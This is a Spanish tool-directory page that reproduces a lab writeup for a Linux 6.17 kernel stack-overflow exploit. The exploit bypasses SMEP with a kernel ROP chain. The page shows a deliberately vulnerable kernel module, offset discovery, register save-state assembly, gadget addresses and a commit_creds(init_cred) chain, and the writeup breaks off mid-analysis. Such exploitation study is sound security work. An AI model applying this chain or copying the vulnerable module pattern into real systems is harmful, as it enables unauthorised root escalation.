Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/exploitbey/kernel-krop-smep-bypass
Escalada de PrivilegiosForensia de MemoriaExplotaciónIngeniería InversaShellcodeDepuradoresPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
Compartir
Explotación de Binarios
GitHubexploitbey/kernel-krop-smep-bypass

kernel-krop-smep-bypass

Desbordamiento de pila en el kernel de Linux 6.17 - Omisión de SMEP mediante kROP (Writeup en turco)

Ver Repositorio
hace 3h 19mAún no revisado

Linux Kernel 6.17 — Bypass de SMEP mediante Stack Overflow: Técnica kROP

Autor: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass

En este writeup se examina cómo explotar una vulnerabilidad de desbordamiento de pila (stack overflow) del kernel en Linux kernel 6.17.0-5-generic, donde SMEP y SMAP están activos. El método clásico ret2user resulta ineficaz frente a esta protección. Como alternativa se utiliza una cadena Kernel ROP (kROP).

Las demás protecciones (KASLR, KPTI, shadow stack, stack canary) han sido deshabilitadas en este entorno; el punto central es únicamente la técnica de bypass de SMEP.


Primero conozcamos la protección: ¿Qué es SMEP?

SMEP (Supervisor Mode Execution Prevention) es una protección a nivel de procesador. El kernel no puede ejecutar código ubicado en páginas de memoria pertenecientes al espacio de usuario. Es decir, cuando escribes shellcode en un búfer de usuario y rediriges el kernel hacia allí, la CPU te detiene de inmediato.

Esta es la razón por la que el clásico ret2user muere.

Puedes verificar desde GDB que SMEP y SMAP están activos:

info register cr4

Si el valor es 0x372ef0, conviértalo a binario y examine los bits:

0x372ef0 → 0011 0111 0010 1110 1111 0000

De derecha a izquierda, comenzando desde el índice 0:

Grupo de bitsRangoSignificado
00000–3—
11114–7Bit 5=PAE, Bit 7=PGE
11108–11Bit 9=OSFXSR, Bit 10=OSXMMEXCPT
001012–15Bit 13=VMXE
011116–19Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE
001120–23Bit 20=SMEP ✓, Bit 21=SMAP ✓

Bit 20 set → SMEP activo. La CPU bloquea la ejecución de código en páginas de Ring 3 desde Ring 0.

Una nota: a partir del kernel 5.16, el registro CR4 quedó "fijado". Antes se podía limpiar el bit SMEP con gadgets del estilo mov cr4, rax. Ahora esa puerta está cerrada. Pero esto no importa porque no vamos a tocar CR4 en absoluto.


Entorno de laboratorio

  • Host: Kali Linux 2025.4
  • Guest: Lubuntu 25.10, kernel 6.17.0-5-generic (sobre QEMU)

Se debe copiar vmlinuz del guest al host. Tras copiarlo, conviértalo a vmlinux_raw:

./extract-vmlinux vmlinuz > vmlinux_raw

Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

Requisitos

  1. El kernel debe ser exactamente 6.17.0-5-generic (en una versión menor diferente el binario cambia, las direcciones de los gadgets no coinciden)
  2. SMEP y SMAP deben estar activos
  3. KASLR, KPTI, shadow stack y stack canary deben estar desactivados

La línea de GRUB en el guest:

GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"

Comando de inicio de QEMU:

qemu-system-x86_64 \
  -m 4G \
  -enable-kvm \
  -cpu host \
  -drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
  -vga qxl \
  -device virtio-serial-pci \
  -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
  -chardev spicevmc,id=spicechannel0,name=vdagent \
  -display spice-app \
  -net nic -net user \
  -usb -usbdevice tablet \
  -vga virtio \
  -s -S

Inicie GDB en el host mientras el sistema arranca:

gdb ./vmlinux_raw
# ardından: continue

LKM vulnerable

Fuente: rop.c

__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
                            size_t count, loff_t *ppos) {
    char tampon[64];
    // ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
    if (_copy_from_user(tampon, buf, count)) {
        return -EFAULT;
    }
    return count;
}

Buffer fijo de 64 bytes. _copy_from_user nunca comprueba cuántos bytes se copian. Basta con enviar incluso 65 bytes desde el espacio de usuario; la pila del kernel comienza a corromperse.

Punto de entrada del exploit: /dev/vuln_device

Compilación y carga

sudo su
make          # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko

Luego copie rop.ko al host (se necesita información de símbolos para GDB).


Stack Frame

Convención de llamada x64: el primer argumento es RDI, el segundo RSI, el tercero RDX, el cuarto RCX.

Cuando se llama a device_write, la dirección de retorno se encuentra en la posición rbp+8 del kernel stack. Nuestro objetivo es tomar el control de esta dirección.


Explotación

Paso 1: Detección del Offset

El LKM se compiló con símbolos de depuración, por lo que lo rastrearemos adecuadamente con GDB.

En el guest, examine las direcciones de los módulos:

cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)

cat /sys/module/rop/sections/.text   # 0xffffffffc092f000
cat /sys/module/rop/sections/.data   # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss    # 0xffffffffc0a15640

Presione Ctrl+C en GDB en el Host, cargue los símbolos:

add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640

Punto de interrupción antes y después de _copy_from_user:

b *0xffffffffc092f059
b *0xffffffffc092f05e
continue

Cree un patrón de 88 bytes con Metasploit:

msf-pattern_create -l 88

Guarde el patrón como payload.txt, envíelo con find_offset:

gcc -o find_offset find_offset.c
./find_offset payload.txt

Se detendrá en el breakpoint del kernel. Anote el contenido de rbp+8 en GDB. En el segundo breakpoint verá que rbp+8 se llena con el patrón.

Calcule el offset en el host:

msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72

La dirección de retorno se escribe a partir del byte 72.


Paso 2: ROP Payload

¿Por qué ROP puede eludir SMEP? Porque ROP utiliza código ya existente en la propia región .text del kernel. No ejecuta código nuevo. No toca en absoluto la memoria de usuario. SMEP no puede verlo.

Save State

Guarde los registros de user space antes de iretq:

__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov user_cs,     cs;"
    "mov user_ss,     ss;"
    "mov user_sp,     rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    ::: "memory"
);

"memory" sobrescribe la crítica: si GCC almacena en caché estos valores, el frame de iretq quedará corrupto.

Cadena de gadgets

payload[i++] = POP_RDI_RET;    // pop rdi ; ret
payload[i++] = INIT_CRED;      // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS;   // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir

¿Por qué no existe prepare_kernel_cred? En el kernel 6.17 no se encontró un gadget de transferencia de registro limpio como mov rdi, rax ; ret. init_cred ya es una dirección estática, pop rdi; ret es suficiente. El payload también se mantiene pequeño: 144 bytes.

Direcciones de los gadgets:

commit_creds y init_cred:

cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds

cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred

pop rdi ; ret → código de operación \x5f\xc3

Rango de .text:

Başlangıç : 0xffffffff81000000
Boyut      : 0x1637970
Bitiş      : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3

El primer resultado 0xffffffff812582bd → verifíquelo en GDB con x/3i 0xffffffff812582bd. Secuencia limpia pop rdi; ret.

swapgs + iretq → opcodes: 0x0F 0x01 0xF8 y 0x48 0xCF

python3 find_swapgs.py vmlinux_raw

El script devuelve dos candidatos. 0xffffffff81001866 contiene demasiados pop, la pila se corrompe. Examine 0xffffffff8100118f:

0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...]   ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne  0xffffffff81001241

Donde lo omitió:

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    411
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    275

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →